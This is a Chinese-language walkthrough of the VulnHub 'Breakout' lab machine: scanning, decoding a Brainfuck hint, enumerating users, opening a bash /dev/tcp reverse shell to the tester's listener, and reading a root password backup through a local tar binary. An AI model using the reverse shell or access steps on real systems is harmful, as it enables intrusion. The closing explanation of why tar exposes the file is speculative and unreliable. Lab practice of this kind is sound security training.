02-Breakout靶机攻略

第一步搭建靶机

下载地址:https://download.vulnhub.com/empire/02-Breakout.zip

下载好了之后直接用VM打开

然后右击虚拟机,把网络连接改成nat模式

第二步,信息收集

然后开启虚拟机,左上角编辑,虚拟网络编辑器里面看一下靶机是哪个网段。

打开kali用nmap扫一下的这个网段的存活主机,也就是扫除这个靶机的具体ip地址

复制代码
nmap 192.168.109.1/24

扫出来了他的ip,然后去访问一下

第三步web渗透

可以看到一个默认页面,我们翻看一下看一下靶机有没有什么提示信息,发现右击查看源代码,翻到最下面,有一行注释提示。

翻译一下,他说它的什么访问权限,还是加密的。所以我们肯定要去解一下码

博主这里找了很久,发现他是brainfuck编码的直接把网站给你们

网址:CTF在线工具-在线Brainfuck加密|在线Brainfuck解密|Brainfuck|Brainfuck原理|Brainfuck算法

解出来一串不知道是什么东西,先留着备用。肯定在这个页面是没有一点用的,所以我们要去扫一下它有哪些目录。

打开kali输入下面命令

复制代码
dirb http://192.168.109.157

发现他的目录实在是太多,很难找到有用的信息,我们从刚才找到的网站开放端口尝试访问一下。

发现端口10000和20000有一样的登录页面

很明显刚才那个不是账号就是密码,这里有一个kali命令可以找相关账号信息

复制代码
enum4linux -a 192.168.109.128

看到cyber的应就是用户名了,我们尝试登录一下吧。

发现可以登录进去,找一下直接看到终端了。

打开,发现权限不是很高不能看到我们想要的文件,我们试着反弹一下反向shell

先在kali上开一个端口监听

复制代码
nc -lvp 7777

再去刚才那个终端里执行下面命令(这里的IP是kali的)

复制代码
bash -i >& /dev/tcp/192.168.109.128/7777 0>&1

命令解释分解如下:

​(1) bash -i

  • bash:启动 Bash Shell。

  • -i:表示 ​​交互式模式(Interactive Mode)​​,即允许用户输入命令并实时看到输出(类似正常的终端)。

​(2) >& /dev/tcp/192.168.109.128/7777

  • >&:将 ​​标准输出(stdout)和标准错误(stderr)​​ 重定向到后面的文件或设备。

  • /dev/tcp/192.168.109.128/7777

    • /dev/tcp/ 是 Bash 的一个 ​​特殊设备文件​​,用于建立 TCP 连接。

    • 192.168.109.128 是攻击者的 IP 地址(远程主机)。

    • 7777 是攻击者监听的端口号。

    • 这部分的作用是 ​​让 Bash 尝试连接攻击者的 IP 和端口​​,并将 Shell 的输出发送到那里。

​(3) 0>&1

  • 0:标准输入(stdin,文件描述符 0)。

  • 1:标准输出(stdout,文件描述符 1)。

  • >&:重定向。

  • 0>&1 的作用是 ​​将标准输入(stdin)重定向到标准输出(stdout)​​,即:

    • 远程主机(攻击者)可以通过 TCP 连接发送命令(输入)。

    • 受害者的 Bash Shell 会接收这些命令并执行,然后将输出返回给攻击者。

执行之后看kali

发现反弹到了

第四步提权

反弹到的shell执行下面命令

复制代码
cd /var/backups
ls -al

发现有一个.bak文件打开看一下,发现不能打开

某些自动化脚本(如密码更新脚本)可能在修改密码前先备份旧密码到 .old_pass.bak

那我们把他压缩再解压看一下

复制代码
cd ~
./tar -cf bak.tar /var/backups/.old_pass.bak
tar -xf bak.tar
cat var/backups/.old_pass.bak

看到了root密码,返回20000端口登录页面,重新登录一下

补充

最后再补充一下,为什么压缩再解压文件就可以查看了

​1. 可能的原因分析​

​(1) 文件本身是压缩包,但扩展名未正确标识​

  • ​现象​​:

    • 文件实际是一个压缩包(如 gzipziptar 格式),但文件名没有正确的扩展名(比如命名为 .bak 而不是 .gz.zip)。
    • 直接打开时,系统或编辑器尝试将其当作普通文本文件解析,导致报错。
    • gzip/unzip 等工具解压时,工具能正确识别其压缩格式,因此可以解压出原始内容。
  • ​示例​​:

    • 文件实际是 gzip 压缩的文本文件,但扩展名是 .bak 而非 .gz
    • 直接运行 cat .old_pass.bak 会报错(因为 cat 试图将二进制数据当作文本解析)。
    • 运行 gunzip .old_pass.bak 可以成功解压,因为 gunzip 能自动检测 gzip 格式(即使扩展名不对)。

​(2) 文件是"压缩包中的压缩包"(多层压缩)​

  • ​现象​​:

    • 文件可能是先被压缩(如 zip),然后又被二次压缩(如 tar.gz),但外层压缩格式未被正确识别。
    • 直接解压时,工具可能只识别了外层格式(如 tar),但内层格式(如 gzip)未被正确处理,导致解压失败或内容仍不可读。
    • 但某些工具(如 zip7z)能自动处理多层压缩,因此"压缩再解压"后可以正确提取内容。
  • ​示例​​:

    • 文件实际是一个 tar.gz 文件(先 tar 打包,再 gzip 压缩),但扩展名是 .bak
    • 直接运行 gunzip .old_pass.bak 可能失败(因为 gunzip 只能解压单层 gzip)。
    • 但运行 tar -xzvf .old_pass.bak 可以成功解压(因为 tar 能自动识别并处理 gzip 压缩)。

​(3) 文件是加密或编码数据,但压缩工具"绕过"了问题​

  • ​现象​
    • 文件可能是加密或编码的数据(如 Base64AES 加密),直接打开时编辑器无法解析二进制数据。
    • 但某些压缩工具(如 zip7z)在压缩/解压时会忽略部分二进制异常,因此"压缩再解压"后可能意外恢复可读性。
    • 这种情况较少见,但可能发生在文件部分损坏但压缩工具能容忍的情况下。

​(4) 文件是"自解压脚本"或特殊格式​

  • ​现象​
    • 文件可能是某种自解压程序(如 Windows 的 .exe 自解压包),在 Linux 下直接打开会报错。
    • 但通过 ziptar 等工具"重新打包"后,可能生成一个更标准的压缩包,从而可以解压。